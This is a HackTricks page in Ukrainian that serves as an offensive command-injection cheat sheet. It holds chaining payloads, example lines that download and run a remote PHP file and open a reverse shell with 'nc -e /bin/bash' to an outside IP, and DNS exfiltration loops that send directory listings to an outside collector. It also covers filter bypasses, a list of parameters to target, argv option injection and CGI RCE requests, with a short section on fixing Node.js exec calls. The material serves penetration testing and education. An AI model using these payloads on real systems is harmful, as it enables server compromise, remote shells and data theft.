Command Injection
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке command Injection?
command injection дозволяє зловмисникові виконувати довільні команди операційної системи на сервері, який розміщує додаток. Внаслідок цього додаток і всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє зловмисникові отримати несанкціонований доступ або контроль над середовищем додатка та базовою системою.
Контекст
Залежно від того, де вставляється ваше введення, можливо, вам потрібно закрити цитований контекст (використовуючи " або ') перед командами.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Limition Bypasses
Якщо ви намагаєтеся виконати arbitrary commands inside a linux machine, вам буде цікаво прочитати про ці Bypasses:
Приклади
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Параметри
Нижче наведено топ-25 параметрів, які можуть бути вразливі до code injection та подібних RCE-вразливостей (from link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Вилучення даних: char за char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
На основі інструменту з https://github.com/HoLyVieR/dnsbin, також розміщено на dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Онлайн-інструменти для перевірки DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Обхід фільтрації
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Під час аудиту JavaScript/TypeScript бекендів ви часто натрапите на Node.js child_process API.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() запускає shell (/bin/sh -c), тому будь-який символ, який має спеціальне значення для shell (back-ticks, ;, &&, |, $(), …) призведе до command injection, якщо введення користувача конкатенується в рядку.
Пом’якшення: використовуйте execFile() (або spawn() без опції shell) і передавайте кожен аргумент як окремий елемент масиву, щоб shell не брав участі:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Реальний випадок: Synology Photos ≤ 1.7.0-0794 був експлуатований через unauthenticated WebSocket подію, що записувала контрольовані атакуючим дані в id_user, які пізніше були вбудовані в виклик exec(), досягаючи RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Не всі ін’єкції потребують shell metacharacters. Якщо додаток передає неперевірені рядки як аргументи системній утиліті (навіть при використанні execve/execFile і без shell), багато програм усе одно парситимуть будь-який аргумент, що починається з - або --, як опцію. Це дозволяє атакуючому переключати режими, змінювати шляхи виводу або викликати небезпечну поведінку, не потрапляючи в shell.
Типові місця, де це зустрічається:
- Embedded web UIs/CGI handlers, які будують команди типу
ping <user>,tcpdump -i <iface> -w <file>,curl <url>тощо. - Centralized CGI routers (наприклад,
/cgi-bin/<something>.cgiз параметром-селектором на кшталтtopicurl=<handler>), де кілька обробників повторно використовують той самий слабкий валідатор.
Що спробувати:
- Надати значення, що починаються з
-/--, щоб вони були сприйняті як прапорці downstream-утилітою. - Зловживати прапорцями, які змінюють поведінку або записують файли, наприклад:
ping:-f/-c 100000щоб навантажити пристрій (DoS)curl:-o /tmp/xщоб записати довільні шляхи,-K <url>щоб завантажити конфіг від атакуючогоtcpdump:-G 1 -W 1 -z /path/script.shщоб досягти виконання після ротації у небезпечних wrappers- Якщо програма підтримує
--end-of-options, спробуйте обійти наївні пом’якшення, що додають--у невірне місце.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
Список для виявлення Brute-Force
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
Посилання
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

